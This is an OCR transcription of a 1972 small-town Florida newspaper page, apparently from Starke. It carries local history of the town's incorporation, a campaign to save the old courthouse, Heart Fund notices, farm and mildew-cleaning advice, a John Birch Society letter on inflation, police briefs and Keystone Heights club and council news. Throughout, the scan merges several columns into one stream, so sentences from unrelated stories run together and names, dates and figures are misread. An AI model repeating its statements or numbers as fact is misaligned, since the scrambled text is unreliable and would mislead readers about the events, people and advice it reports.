.. ,..tIii, ". ,...... -- .... ..' ,. .. .. I .p ., .. .. ... ... ... .... .. ...'. .. .. '. -. ." - > . wuIsBiBySifl 1 .r-------------l , : 1li( T By Bobby L. Taylor :*, . .-. .... .. .. .. I Last Monday morning started will Idll most nematodes and 1"" tweeds .1rea non nag it mat tnewnite. the heart of the city's business of Starke's growth from a E. Pace came to Starke la 1856 x with another.tflch' of rain. This at the same time. t paid Ms Indian brother$25: district in those days-- an area crossroads trading post to a from Mlddleburg and opened the t ,r did not make as any: wetterijust -. This material, methyl bro- for Manhattan Island. lying: between the railroad on thriving young town The Impetus first large general merchandisestore i mads our water a little mlde. Is called a soil fuml- '. The town of Starke was a the east and the present site to this growth of course, on the south side of Call deeper.. pmt and is quite expensive. j little more expensive than that. of the old courthouse on the was the construction of the Street, next to the railroad Our pastures are not hurting Jt .is not recommended for gardens ' George W.Cole,Starke's first west. famed AUantic-to-Gulf railroad They had been partners In business ,, yet but we do have too much because It has to to cov- postmaster, paid the U. S. Government Mr. Cole acquired title to from Femandlna to Cedar InMlddleburg 1853.: water on our strawberries said with plastic for' a few ; around $100 for the this quarter-section in 1859 Key with the track reaching Old papers unearthed In the and ,....... Wet fields are holdIng -,. days after application .>w< . 40-acre tract comprising the the year that might be saidto Starke In 18 8. old courthouse several years b up our land preparationfor Our tobacco grower are \using . "Original Town of Starke" have been the real start James C. Richard and George ago show that Starke was Incorporated -; com, tobacco) and field a number of nematocldes, .':' . In 1878.These hand- crops. or In a combination, with an " kenM insecticide for wlreworms. I'll v. .. written documents were contained _ 4 eee be to discus these ,' .' ' In a well-worn filing happy things etrtTORlALS envelope which bore the Inscription If- with you if you have had a :*'f. "Papers In the matter With bunking ahead, folks problem with either pest. ; : of the Incorporation otStark. should about plantIng .' ' .." a vegetable garden. e S's e *VJ> cs.. ,. The papers signed by BenJ. A garden, like all crops, PTt-, j'' E. Tucker, Clerk of the Circuit should follow a definite plan *-' Court; said for production to do It's beat Beef cattle prices are still ". "Nonce Is hereby given that We have a Circular 104 called holding satisfactorily for our <"o :,: on Monday the 29th day of a Vegetable Gardening. Guide cattlemen - White Elephant Or May A. D., 1876, all quail- that will belp'OU. This guide This is encouraging, espe- .::?. will give a lot of informa- clally the . fled registered voters within you during I time when ,;. Asset? the limits hereinafter describedare tion such as garden design! big winter feed bills are comIng ' Community soil preparation, liming, fertilization In. A fair return on an :' : requested to meet the , _tuism___ at__ wa_ .vi..".__rn.. vi__ ma at vir irrigation, weed Insect investment will usually' make ..!;, Bradford County' picturesque old donated prized mementoes of our historic b ndt Court In the Town of Starke and disease control. It a person do an even better Job ". ,, courthouse was recently the subject past for the museum's displays. ?Florida to decide by vote i'he- also has listed the recommended of II'IanIII' mont. Of course, a Each month val her or not we Incorporate said varieties of vegetables that better Job of management should . and feature storyIn passing sees more ' of photograph ' a speculatingon uable additions to this mirror of our Town! and elect officers for the Mrs. Annette Kitchens watches. es Mayer Carl. Hurst declares will grow In our area and when also bring in a better, return. ' the Tampa Tribune ]jovernment the same. February Heart Fund Month.February. and how to plant each variety. There Is also a slight sigh fr. what would become of the familiar heritage. "The proposed limits are as The vegetable gardening guide of relief from our poultry and ; landmark now that It no longer Is being bllows, to wits all that >>orIon will also give you some infor- swine producers. These folks .. .. , used In an official capacity. "Not h i only from Iroquois County, of Section 28, Township mation on how to control nematodes have bad over a year of poor . but from over our state, from over I L .Range 22 lying North and Is In ;your soil. Moat of prices and many have operated>> ...:' the United States and from foreign rest of Alligator Creek and our soils contain these tiny at a toss. Some of our poultry :,' One possible answer came In the he NE-1/4 of SE-1/4 and SE!: parasites that can Infect different producer have had empty 1.;. form of a letter from a reader of the countries as well have come visitorsto /4 of NE-1/4 Sectton29,Township parts of the plant. Just houses for over six .months. ,: article enclosing a newspaper clipping the Old ,Courthouse Museum In an | 8, Range 22; also one Heart MonthDesignating last week I was asked to look Maybe 1972 will be fa better J. describing a happy solution that was ever Increasing stream. During the acre In the NE corner of SE4S at about 1/2 acre of onions year for us, especially since "-.' reached In the town of V/atseka. HI. summer when touring Is at Its maxi /4 Section 29, Township 6, that were dying. A nematode poultry is such big 1 business ,?;1. analysis/ showed a heavy Infestadon 22. in Bradford County, . which had a similar problem with an mum the museum Is host to nearly The notice was dated April February as National munlty effort to' Tight heart of four different typesof ; Don't forget to call us for .'!,*4,. abandoned: old courthouse. With a little 3,000, with a recent season's visitors !III, 1876 and was prepared ''feyeoiest Heart Month locally, disease," asks Mrs. Kitchens nematodes. There Is very your copy of Circular 104, Vegetable . bit of Imagination and Initiative this Including tourists from several .. of many voters." Starke Mayor Carl Hunt pans Heart disease, she points out, little that can be done for this Gardening Guide if you ,. . town has turned Its old courthouse foreign countries. The envelope also contained his signature as Mrs. Lenwood Is the number one cause of crop after the nematodes are are planning a garden this year. '' Kitchens Service Committee death In the United States. FIt- already on the roots. The main . lie original tally sheet show- Better yet, conic ,by your Into a real community asset rather DC that 42 .ballots were cast chairman of the Beta Sigma ,}'-four per cent of deaths aredirectly consideration should be to County Agent's office on North .yv v than let It become a detriment. "And so.the museum, by dint of a the election, and were t un- Phi Sorority, watches. related to heart disease "treat" the soil before plant- 301 in Starke and look over our *.,"...' The sorority Is sponsoring and diseases of the car- susceptible crop. bulletin selection. We have the unceasing efforts of enthusiastic Most . moor-oration. the local Heart Fund Drive as diovascular system, according of our strawberry and y. The same thing could be done In some real good production Information . volunteers from all over the county Its 1972 service project. to Heart Association tobacco of the Brad tented more than the neceslary statistics growers will not set on Just about - Starke with the backing everything .'. be :termed cultural Included In the efforts ? a success sorority's To minimize can two-thirds of the total risks of a heart i plant before treating their from Azaleas to Water- ",. ford bounty; Historical Society and a valuable adjunct to our appreciationof 1st of qualified voters In the to provide funds for the attack the Heart Association land for these pests. This yeara melons. We are always happy t'. the local U. D. C. Chapter, both of the debt we owe to those who broke Starke community at that time. Northeast Florida Heart Association advises that youEliminate : number of strawberry growers to serve you In any way.possi whom have expressed a desire that areA : cigarette smok have used a material that , the trail to the spiritual wealth we Dr. J. L. Gasklns was elected ble. , the county's; only historic landmarkbe enjoy today. And It Is with consider X 38 Mayor with by W.a F.landslide Bowen vote and Heart Fund Ball set for ing.Adhere to a diet low In -. .-- ..... preserved. able satisfaction that we find that I. C., Richard each Saturday, Feb. 12, at 9 p.m. animal fats and cholesterol 1 "' many of.those who tour the museum, one vote.The receiving: at the National Guard Armoryon -Have regular medical check- "Ir'F' awglam's By Martha Sue McCain' Here's the story of how one com- both individually and In groups, are selection of a City Clerk Edwards Road. Tickets are ups for the detection and treat- ..'. I' County Extension u .; munity solved the "old courthouse" members of our finest youth organizations was likewise. nearunanimouswith $5: per. couple\ only adults admitted. ment of high blood pressure and .dlWfb; Home Economics Agent '; problem, as told In the Watseka. HI. church and public classes, Simon S. Weeks receiving -A closed chest massage high These blood conditions cholesterol.are major ."". Dally Times: 4-H Clubs and others of 34 voles to one each forJ. ;.: rising Resuscitation our .,.M. Johns and Gib Holllngs- Cardto-Pulmonary factors associated with heart ..'. generation eager to learn more about worth ) clinic Is set Monday, Feb. attack and smoking, accord- "Five years ago the old Iroguols their 14, at 7:30: p.m. at the ar- Mildew, has. been the theme what they owe to forebears. The five Alderman elected, "RememberrtAFebnsry warn, moist poorly ventilated ;.i, County Courthouse appeared doomedto the first Council mory. Instructors from the Is for numerous calls lately and "Yet the museum Is only] a part comprising City Jacksonville Rescue Unit and preferably shaded or poorly - demolition an anachronism for of the story of the Old Courthouse, and the number of votes classes to teach conducting this- Heart.Month, says Mrs. Kitchens usually when some call there lighted spots. It does attack ">,.-. which there In this modern received by each were: Joseph are about twice that many more fabrics wood leather ..- was no place ,pa- , beneath Its roof has been life-saving today. Space technique( to be ap- "Make a special effort at this that have some problem. Alvarez 39 A. H. Johns 38 , ; ; per, plaster,concrete,plastics, , age. made available to a variety; of youth Thos. Hemmlngway 37i J. C. plied to heart attack victims.A time to conquer this numberone Not much need to tell )'OUthat paints, resilient flooring material , and adult organizations. Meeting! and Richard 38; and 41. W. Mc- road block on additional Saturday. killer who is at large In it Is or can be a real problem and other household items .' ' "And, then.,a sort of miracle occurred work rooms and...torage space have KInney, 34.Managers'. Feb. 19, to collect our midst and claiming vic- here since our climate Is causing stains, dlscolora- '-;': In this day whichhas so often been'prcmded ''for'area Scouts: l (Girls of the election were funds."Please' .. ittms.every day; mqre than one ,also perfect: for the growth of lion.,and eventual ,,destruction "'.t this million '' been accused of breeding? only cynicism and Cubs) Work S. 8. Weeks,'.:!.. Tnryden.. #.... helpIn- cornS Americans,.,_annually. mildew. Mildew-thrives InTM If not treated and removed. 'ji.4;: .Jloys ; :or . and Indifference. A group of dedicated crraft and.,.... man a. Y. nowen *ionn w.dams ,. ..- 'IpR; MtJ' ,1\\ ., .... I '!". U>!lN'1r' Mildew closely resembles '* able for of art a variety . was clerk. 1 dlrJU'tt' has .,. citizens shocked at the thought of a musty; unpleasant . hobby groups, as well as organizationswith The 42 parsons listed as vo odor Strangely enough It attacks ' this venerable county landmark succumbing a variety of cultural Interests. In the election were: A. H. CUBB Board dark colored paints more '.,". to the attack of wrecking Jo hni. W. F. Bowen. T. emoh Adopts 1 readily than it does white paints. '.' crews, spoke out for preservation of "Each summer the old courthouse mlngway, X. L. Adams,, F. D. The darker paint have more i HoUlngswortti. J. M. Johns, oil !thus solfter ' the old structure. grounds have been the scene of a Revised StructureNelson and the mildew - he * Willis Sanders ' 'Fredric Sandy roots have easier entry. , . . thoughtful salute to our senior citizensat Andrew Albert, Sr., Jack Wil Surfaces treated with linseed to take the advice of "Refusing an anniversary party for those county llama G. W. Adams, J. Q. Bradford Board of County oil Instead. of'paint are prime ,,<.-. those who told them the fight Plea Executive: Director was couples and former county residents Adams, Alex Sanders, James Commissioners Seats candidates ; lost before It was begun, they coursed who have celebrated 50 or more years Murrhee, Robert Albert Brit- of CUBB Economic A- city council, public offendto WHAT TO DO ABOUT IT: ' agencies ' Inc. the county testing the pulse of public ton Minims, S. B. Williams, gency. ,announced this week 1. Some mild cases of mildew " of married life And each Christmas Feb. 7, 1m that the agency's board of directors and civic organization .. ' H. W. Adams J. C. McRae can be removed with ,. a sentiment. And they found that there will be rotated . season the Old Courthouse Is the site at Its regular meetIng annually among Hutchison stiff M. H. C. Bowen brush If it off a. were hundreds who agreed that the of Christmas Tree Lane, when several S. S. weeks W. T. Dryden. Dear Editor: on January 24,. adopted a the groups) In even county In easily and leaves no come stain, repainting ,? an order determined old courthouse, which had played so dozen trees are decorated In a varietyof J. J. Bowen C. Holllngsworth, For some time now the AmerIcan new board structure to be Implemented CUBE Board.Appointment by will the with a mildewresistant . Important a role In the affairs of fashions appropriate to the Yuletide W. A. Bessent Joseph GasWns. people have been led to and election during the of appointment the new be directly to the CUBB board, paint should end your.wor- .:_' this area for nearly a century, shouldbe by various area groups and organizations Andrew Albert, Jr., N. J. believe that Inflation Is caused board. The agency Is presently for a period not to exceed one rice Jones Dr. J. L. Gasklns. G. 2. For preserved. and prices and November severe cases, scrub by high wages year concluding 27 for the admiration thousands receiving appointments to , W. McKlnney, Joseph Alvarez the infested area thoroughly so they willingly accepted President 1972. who come to view these Nativity sym Dr. J. M. Jones, Oan'l McRae, Nixon's and price the board from public (governmental with a solution of chlorine "Gathering firm evidence of the wage ) agencies: and private bols. J. J. Spartanan, J. M. Batch, bleach. Use one half to one In fact the outcries public feeling In this matter, the defenders W. F. Thebaut, Erwin Johns, controls only (civic) organisations. Invitations In addition to board them-- cup of bleach to each gallon . to be heard In "protest"were to agencies and.organzaaons }-, ber appointed from various of the old courthouse appeared "And so' the old courthouse: now John Parker Jasper N. Strick that the federal controls for representatives (organizations of water. Rinse with clear water - before the Board of Supervisors and land M. W. Brown and KitAnother should have been Imposed to representative and wipe the surface as I. Into upon the CUBB Its second century of service to wuliam.. Board of Directors, of low-Income residents will be dry as possible. This method made known the public pulse, with the the people much sooner. Few the governing board of the CUBB elected by the low-Income people of this area, has a new lilt contained In the resident can be used for cement floors, the result that a year's reprieve was role which promises to be as Important old envelope Indicated that there think elected back that before he said Nixon for was the Agency, are. being offered In themselves In elections wall tiles and all types of floor won for the building. accordance with the newly- to be held In the Neighbor- tiles. The bleach 49 not kills and as valuable to the citizens were only electors who were federal government to enact only adopted hood to vote structure Mr. Race Service Center and other the fungus but removes the of this region as was Its first giaUfled at that time. wage and price controls was a explained that under the new polling place in. each "Andsave a year later the battle to Those listed as qualified, but disastrous step a step that he countyon dead particles as well. Work 98 seat of plan seats years spent as a county who did not get to the polls are reserved for February 19 from 8 a.m. quickly and carefully on plastic - the old would not take. courthouse was won-- government" one from each to 6 p.m. Mobile unit will and that day were: F. W. Simmons representative asphalt tile to avoid the supervisors, now cognizant of the R. Turner. J. G. Alv.rezrJ. T., In a free enterprise system Is of Baker and be provided for those low-In potting the surface. '. such Inflation not as ours public sentiment, and convinced by the C. DUlaberry. Moses Mack, Ell caused by labor and business. come residents who cannot 3. For mildewed wood surfaces .. accomplishments during a year's trial Strickland and J. C. Richard. There are two causes and they reach the poll.. Specific Information try a solution of 4-6 % period, agreed that the structure could ; Dr. CasMns the first mayor both from the aovem.- concerning polling tablespoon washing soda to a 5 , The philosopher said "Where thereIs emerge Tree Planting places will be announced of theirectly came to gallon of water first. Scrub play a meaningful role In today's world. from Starke ment. One Is overtaxation, the ; y vision the He no perish d people ,, medical school' well and then rinse with clearwater. :"f Accordingly, they granted the Manage- might have added that where there Is and bought out the drug store' other is to decrease the (supply Program Used If this doesn't remove i: f f of value A . ment Committee of the Inxyiols Coun- no vision, time-honored landmarks then owned by Dr. Smoak, who and silver) which/ backs up Bide For idle AcresTree the new election innovation of low-Income this yearIn the mildew ,' use" one of these '; Historical moved to ty Society Providence remedies { ; a 99-year leaseon : come tumbling down to make room This can be board representative has been paper money. * Dr. Gasklns became (a) 4-6 T. trlsodlum the old courthouse phosr4atcleanaerandlT.house building. a poli - for another service station or hamburger deal power In the done be permitting our gold redUtitcting Into low-Income ' county and and silver to slip Into foreign planting programs have area throughout the four : - stand. Let It not be said that represented Bradford counties hold ammonia County met with In Bradford per gallon of "Starting with the nucleus countries and by manufacturing success In five ; resulting districts provided Starke and Bradford County are so In the State Legislature for this water; or I County year, although at more and more paper money In Clay County two each In 1 small historical ; , by a collection little .venl terms. He Cb) 4-6 T, trlsodlum appreciative of their historical was acci without Increasing the supply times the ground has been too Baker and Union Counties and phosphate 1 which owed Its existence to the efforts heritage that they will stand by and dentally drowned In Klnesley of our and silver. wet for equipment to operate, three In Bradford County,,each cleanser and 1 cup 11- . of a former circuit Judge> the Historical see our old courthouse become a pile canvas Lake about boat 1898 that when he a small] Our leaders Inothe White House according to County Forester of which will elect a r--'>resentattve Ion quit of chlorine bleach per gal- .J Society Instituted at the old of rubble when It could be turned his sons to build, capsized had helped while are guilty of both of these Allen Tarleton. to tile board. Rinse water.and dry thoroughly before * courthouse a museum which today occupies Into a priceless community ....etone -- he was trying It out If Illegal there acts.Is to Yes be my any friends balanceat "For Instance J. R. Waln- repainting. : a large portion of the building. that If lost, can never be re. all for the buying powerof wright had an area of about 14 In Clay County; the district 4. If a plastered wall 1* mildewed ; From all over the county, citizens placed. our dollar, wages and prices acres bulldozed and bedded." are Number I, Inside city lim scrub it with this solution - 3B&E'sNet must go higher when taxes Tarleton said. ."By the time its. Green Cove Spring; Di..- ; 2 T. formaldehyde in 1 - keep on Increasing. Inflation the trees were ready to be trlc 2, outside Green Cove gallon water..Allow to dry be- PenniesThree Is the cause, not the effect of planted, the 14 acres were a Spring city limit to Spring- fore painting) or papering. ' high prices and wages. great big bog Waln- bank Road on the west Hlbernla When the surface has dried I The Bradford County petty breaking and Following President Nh on's wrighf s son David, got some and Russell on the north it Is ready to be repainted or ; enterlngs took! place under the State. of the Union Messagewe good exercise using a'dibbleto and West Tocol! on the south; reflnlshed. Allow wall to be : TELEGRAPHESTABLISHED cover of rain early Tuesday heard of the Added Value hand plant the area." District 3. Pierce Station, Pen papered to dry; then size Add . morning the Stsrke Police Tax. This Is one of the most ney Farm and Keystone I T. formaldehyde in l.cup i : 1&7V Department has reported. Insidious taxes that can be Instituted Tarleton said that the REAP Height; District 4, Orange water to each pail of wallpaper : ; by government because Park and Doctor pa.te. : any A-7 practise Is available to Middle- !''MBiua, Buss Place on East Mad!. It Is a series of hidden Bradford County landowners. trlc 5, Clay Hill and Please call your Extension " son Street was robbed of 915 taxes which are camouflagedin This minimumof burg. In Union County, Lake Home Economics Agent's Of. .' Me"etaF1.OR1 He will guide you Inti In panties the retail price of com $10.90 program per pays acre a for plant. Butler and Providence makeup flee for bulletin"HOW TO PREVENT '. the truth.-(John 18:15): ;. modities. While taxes and gov- big pine trees. Should the land District 1. while District AND REMOVE l1HLDEW" S A ESS The Brown Derby on Oak fernment spending Increases, 2 includes Raiford and Worthington This bulletin is free 1 owner chop the land or disc Street In Reno was entered Spring Baker Caws for the asking./ Inflation Is compounded business it, he can be paid as much as : : through a rear window and$1,50 and labor receiving the $37.10 f.y' district are) Number I, . ASSOCIATION'f When tempted to speak hastily per acre the County . in pennies .* 18n. Sanderson > condemnation and blame for Forester and Olustee: Number . or thoughtlessly Just stop said . of 2, Macclenny and glen St. \J It. The John Birch Society . to think and listen before set- A key was used to remove which I am a member ,has Mary In Bradford County, . Ing. If we want to say the right. the money from the drink mach opposed federal wage and price "Many rowing are lying Starke and Kellbronn Spring* J ,, words in a perfect way follow;* ine at Ed Cole's Texaco Ser ;:controls and does not want the around only broom- constitute District I lj District r AV9""A J E.L. MATTHEWS,' Editor-Publisher Cod's 'guidance. Then we may vice Station on north Temple Added Value Tax to be imposed .. sedge, gophers! and possums," 2 I. Law1e), and District 3 'Published each Thursday end entered es S* Class Matter et the Pest Office at Starke, Florida anyone-ourselves or undetermined. hope that the American people planting these Idle acres In . trees ASC contact Executive . County under Act el March 3rd, W9. others-to feel unhappy. Say. "The rain will petition their congressmen Director Warren Carver . always Subscription In trad area.?..1 year, S5.CO; Outside' and think that our actions are on" said a city policeman brings them of to vote against this vicious or County; .Forester Allen- Information concerning the . man who..hlp com In tr.d..r..t 1 year, $5.50. guided"irist within by the us.Mind of the have the small been made.thefts. No arrests and Paul unnecessary I. Meng tax Tarleton." for further Information. I candidates la each presently district will campaigning be announced usually find moat of hU relatives ' " Hampton, Fla. next week.. et the dock. PAGE 12 TELEGRAPH FEB. ID, 197Z .r 1, , 4 /i p , --- VVVVVVVVWWWgggyWVVWWVVVVWVtfVVWVVVVVVVVWVV-VTOnnfyiril mnTriririinTriniTrtrinfrtinrv r------------------ --------1 i : KEYSTONE HEIGHTS --- MELROSE j jI : New Faces Seen In Keystone . w---.r,-, rrrwrrrrww..ri .---. ,.rw-----w.far.rirw-'ij i! Official Family ; Hearing Set JI --.....-.-"...." I j Keystone Hihfes I/II I! {! I News AfofesBy "I ... By , RN Helen . Egan t , L's ! J or 473-4182 i making and Mrs Lilly Robert ,- -- 0DUPLICATE ::---irrrrw-- EASTERN STAR In Advance Night was observed will show another method. t BRIDC! Jacksonville on Monday with Winners for Tuesday Fob.1 .' a barbecue.. Others attending at the regular meeting of OES HOMEMAKERS CLUB : 1, were: First; Mrs. W. J. the barbecue. were the director: Chapter on Tuesday evening Mrs. Mildred Faytoo. Paildent Grollck and Mrs John Strain.. and Ms wife, Mr. and Mrs Feb. L Associate Matron Betty ; Club of the Keystone a Second. Mrs. Mary Cook and George Wallis Robert CantreU Slkes and Associate Patron Homer - member of Clay County Homemakers -' will be Slices advanced: to the Worthy Miss Iva Hlllyerj Third. MM. appearing In the next will at production at the .Aihambra Matron'.. Made Lee Kings- Clubs preside Gay Livingston and Mrs. Raymond beginning - the Feb. 18 meeting at 10 ajn. Staroest and Fourth on February 8, "Three bury and Worthy Patron Floyd r _ Church Hall In Cedars Baptist : Mrs. A. V. Bannister and On A Honeymoon," with Ann Koons Station In the East Two members of other near Smith Lake.FELLOWSHIP r Mrs. C. W. Hardy. B. Davis of the Brady; Bunch Chapters Winners for Thursday evenIng television show. affiliated with Keystone CLUB t . Feb. 3, were: First Mrt. Mr. and Mrs. Gilbert Bor- Heights Chapter 279. becoming The Senior Citizens Fellowship t, r 4 " I chers of full members of the chapter. : C. W. Hardy and Mrs. John Frediicksburg, Teas * Club win meet at 12:30 Strawni; Second Mr. and MM. have been visiting Is aunt, Mrs. Bonnie Ludwig and Mrs Feb. 10 at Lions Club- today, , Mike Falkelt third, Mlas Ice and uncle Mr. and Mrs W J. Marguerite Henschel were : house. This Is a covered dish '1 Grollck. greeted by. the officers and : HUlyer and Mn. R. P. Vogh; members.A luncheon followed by a pro d w and Fourth was tied with: Mr. social hour followed with gram. Members provide besides y MY SHRINE CLUB . and Mrs. Raymond\ Starnes and . the covered dish their , Min Helen Dlttmer1 and MM. The Keystone Shrine Club will host and hostesses serving delicious ... own table service and bever- refreshments the banquet j meet at 7:30 W. J. Grollck.COMMUNITY., : p.m. Saturday. Friends and prospective Feb. 12. at the Woman's Club ball by Donald and Anna age. - CHURCH for a covered dish dinner. All McRae and Ancll: and Sarah members to attend.Rev. are cordially Invited Hew Night Former Clerk Vergle Homer (left) sworn In es Councilman Hew AirportPollcemoll Community; >Church 'Women Noble. and their ladles are welcome. Hallman. Rye Manager COM The February 13 meeting at Milton Scripture Program Tuesday night by former councilman (now Clerk) dont the General please forget - Chairman will Introduce: Joy Baker. ft pan. Is an Important one and . ' Meeting to1 be held on the speaker Rev. W. Ho- guest a full membership is urged. February Fark-ofruie-Palms.14 ar'l2'noon: The at ., First Baptist Election of officers will be talen who served u a Missionary In a busy session Tuesday bout the pollution of Little Lake be better not to take In any ville, but would have three men In the Congo In Africa. at the Keystone airport for a Keystone from washing sand of this area due to the fact luncheon will be served promptly He will use colored slides or night the Keystone Heights City daylight. operation only seven Church and clay but saw no early solution that It would have many miles at noon so please be on Council movies to Illustrate. his talk the of sand-clay roads which would days. a week. In addition to the to problem. time. A nrotnranV'ls>' planned -Set Tuesday, Feb. 22, at which will show the life In new hangar Cam wants to lease by Mrs. L.C. '''Gayler following Rev.; Lawrence. Carroll, pas tron, and Associate Patron;Secretary Africa. A Question period will 7:30 p.m. as the time for a Agreed, at the request of become the city's responsibility the concrete: : foundation where Treasurer Conductress Mr. Baker to return to the if annexed He said his luncheon. the The* speaker.will tor. public hearing on the questionof follow. Rev. Hotalen was a student the old hangar Is located and and former schedule of hours at thinking now would be to redraw - t'of' Sentinel. The officers be a guest Park-of- Sunday School 9:45: ajn.Mor- Ga. when annexation additional area at Toccoa Intends Falls to erect another building I the Palms.. Mrs.;Barry Wy. ning Worship at II. Youth Choir to be appointed by the new instructor Into the corporate limits. the City Hall.- from 9 to 12, the. proposed line coming Rev. Scripture was : there to main- man, president, will hold a Rehearsal., :5:43 p.m. Church Worthy Matron will be Chaplain former city: ; clerk Monday through Friday instead up the railroad to let the lninTrI..t carry on there. tenance work such Marshall Organist Virrggle of from 9 to 1, which home be the boundary.RuUedge' as paint.ig Allah brief business meeting. The Training 6:30; Evening Worship Homer to fill ttte nine- which cannot: be done In Ruth. had been In effect for the past Store would be the , Circle attendance I will be taken 7:30. Esther Martha Electa months unexplred term of Joy and Warder. Committee chair- several months. boundary along Highway. 100. the new hangar so pleas Support your TuesdayOutreach (visitation Four Keystone Baker. A schedule of rent for In the matter of the pending In answer to an Inquiry new Circle ChaIrman'J'Do' >not for- ). man will also be appointed by -Agreed to lease the Keystone Starnes said the north storage In the new hangar follows - the annexation referendum vote, boundaryof Incoming: Worthy Matron.On . get to make reservations for Wednesday- Family Night Students NamedAs Airport for a term of set to coincide with the proposed area would be : $15 per month for single the luncheon by ''phoning Mrs. Dinner (covered dish), 6:30 tentatively Rm five years to Barney Cam of the natural engine planes up to four seats WMS March 7 the last Chapter OutstandingHarold the Presidential Preference: gas line near the ; Mission Action 473.4763'or''your Group respective - Gayle : Gainesville as a fixed base $25: month for single or Keystone and the per Airport meeting of the current Primary on March 14, Mayor an- Circle leaders Auxiliary meetings. 7:15: ; Hourof year Have you marked these following Power 8; Choir Rehearsal there will be a Courtesy to El ena her. Stephanie operator. Raymond Starnes was authori nexed area would Include the twin engine planes'with five I -Named Jim Rye, recently: airport hangar and much of or six seats; and tarter capacity - dates on your calendar 8:45. the retiring officers and an- Bannister. Peter Morgan, sed to spend up to $100 forthe Starke ' resigned police officer: planes to be negotiated. nual reports. Prior to the necessary maps and other Crystal Lake. All Circles will meet Febrary FridayEvangelism Workshop regular and Martens Keeth. Keystone Chapter meeting of March School students as the new night policemanfor material In preparation for the Starnes said that the proposed The city's present utility; taxn 21 with the exception of the lat Baptist of Starke. Heights High , Keystone Heights.Temporarily rescinded . ) was as un- annexation be gas must 21 Installation vote. approved - of officers will OutstandTeenagei'll - 7:30 selected Madonnas who will meet on p.m.The have been as February 23. The Executive: Sweetheart. Banquet for be held. ing of America for ] repealed the Starnes said he had had a by a majority; of voters lair after It was pointed out present utilities tax on gas "change of heart" about annexing Inside the city as weU (hat a person buying a cylinder - Board will meet on February: Youth I and n Depts. and their 1972 according to Principal because of Its "unfair" application any portion of the new as a majority living In the ((25 gallonspays) the same 28 at 1 pjn. World Dayof Pray- guests and dates is scheduledfor Charles B. Rider. be atChurrcch the.Community Monday evening. Feb. 14 at MELROSE WOMAN'S CLUB Selection for this awards program mobile home development, High area proposed to be annexed $1 tax as the person who buys' on March 3/at 10:30 7 p.m. This Is tile first Sweet- The February 16 Melrose Woman's automatically qualifies -Heard more complaints a- Ridge Estates, and said would before It can be done. Only 120 or even 250 gallons at a General t heart Banquet that church Club Luncheon and Program these students for further state, persons who are qualified voters time. The clerk was Instructed a.m. The next Meeting our. will be held on March 6 with has had for the past few:years meetings will be held at regional and national honors, in Clay County Precinct: to notify, all gas companies Mr. Phelps as speaker. The and we are hoping that it will 12 noon at the Clubhouse Following and scholarships valued at I Keep Landscaping Simple I I 7 can vote he said. serving Keystone of this ac- . Silver Tea will be held on be a.very nice occasion: for luncheon a guest speaker $7,000.Nominated. All persons both Inside and tion.: They will be expected to our people. Nomineesfor will report on "The Recep their princi- outside the city; who wish to remit all taxes collected on March 17 1 . at young pjn.WOMANSCLUB lion Center for To Elimate be heard Issue Sweetheart Queen are Miss Prisoner at are chosen DrudgeryTime on the will be gas purchased: so far In Feb ,'- Cathy Neylans and Miss Suzanne Lake Butler." from Individual schools across given a chance to air their ruary. The repeal will remainIn d. Hostesses for the luncheon excellence the In maintenance. views at the February 22 hear effect until a fairer method A class beginning Macrame Gassett and for King the country : Is of essence no will be held at the Clubhouse are Mike Voyles and Bobby are Mrs. E. Hunter. Mrs. P. In community service and academic today's hectic: pace of living Don't line walks and driveways ing.On of taxing gas is approved.On . Balnbrldge MM. G. H. Wes- recommendation of Air- the of sand and problem Gray son. achievement. and even a pleasurable hobby with unnecessary plantings Mondays, February through coat, Mrs. J. H. Williams and port Chairman Hartley Red- from streets Into The pastor and church starf.Sunday like gardening can become a or place foundation plants clay washing March 27. from 1 to 3 p.m. School directors: and Mrs E. Rice. The President drudgery In poorly planned so close to the building) that fearn. Jr., the Council agreedto lakes, the Council did not see Materials and supplies will be workers, WMU leaders and Mrs. Albert Bachmam of Keystone MassarCawart home landscapes. A garden that they can't be maintained.Do lease the Airport to Bar any solution except paving the furnished Fee $10. For Information Heights will preside. ney Cam of Gainesville fora streets and Is no a- and contact Baptist Men leaders will at- Mr. and Mrs. George MeeseofKeystone requires unnecessary and expensive select plants carefully money registration i.o..telNl..1be Evangelism Workshop maintenance can become considering their ultimate period of five years. It was vallable for that Streets Committee Mrs.4138. Fremont W.\lIoma'1 Tolles bt) 473-" at the FIrst Baptist, >hurch: In'' ..MELROSE' The; Atechua HOMEMAKERS" 'Exleai-, 'the engagement Heights and approaching announce- o a great burden oct j the f .height and width., Dont use stated his that. Cam would Gaines continue Chairman' -Gay Livingston I 1 '*::' ':1OB91 t>.*qo(3(:: *<$torke. Friday evening. The sloe Office: monthly County; bulletin, marriage of their laugher average homeowner and the Joy I plants which'consider'the require constant" .,.UJ..L._ ;. '.--.operations_. -____ ._...Ini..__. '. '._.,.L..... _..said._b, .._.?._._ .. ., _.- ,_, ST. ANNE'S CHuRcH >101It' e err suunse of .the Workshop Is to ". Massa to Donald Wil- one should realize Is ckJ7'10.f .pruning. Da \ eed' ! ,. 2 .. otfee Break* haswsevsral "amCoCoran a of native since ,.. ...,.... Instruction plants give to key church : they ; A Shrove Tuesday Pancake' and varied In of Tampa son of : ; :! ;. ., Supper will be held Tuesday leaders regarding their evanpu.tlc programs stony Mr. and Mrs. Donald B. Cow-. However. It Is possible to obviously adapted to the climate .:t tSWARM for the Homemaker of which ABOUT r f attractive and functional and soils of 'JL & ? Feb. 15. at :9:30 p.m. In the responsibility; and to Melrose Club Is a memberand art of Gainesville. have an :- the area THE TRUTH :. Ame'sEpiscopal provide motivation thatwlll lead Miss Masse graduated from landscape which meets and usually have few pestprob- ('oL. . of Parish House St. C' which the Club delemte or the needs of the family while lems.. .. ( '.,. Church Adults $1.50 to a positive commitment to 'members attend. Keystone Heights High School ".. \ , outreach. at at the same tune requires min- Do use. mowing strips or edges .. ,,' .. Lo {,,: '" ': .,. Q'; IOI 'j...,'.;, and children 12.75: *. Starting on February 17 at and Is presently a Junior :: under. .1.> Among our shut Ins due to theExtenslonChibhouse Inum maintenance. But,, a minimum / along walks flower beds : ....\.. :'I .','. ....21 '" 9:30 In . HERE N' THERE (8( Illness are Mrs. Carolyn Johnson In Gainesville Macrame workshop FSU.Mr. Cowart graduated from maintenance landscape and around trees and shrubs. ...'... .., I) _.tI", Mr. and Mrs. J. O. Whld- requires careful planning. These will reduce mowing and ,. .. .: ... . CantreU Brandon School In Tampa Mr. and Mrs Kent will be held. Materials High .. .... ., . and their son ,'Roger, entertained don and 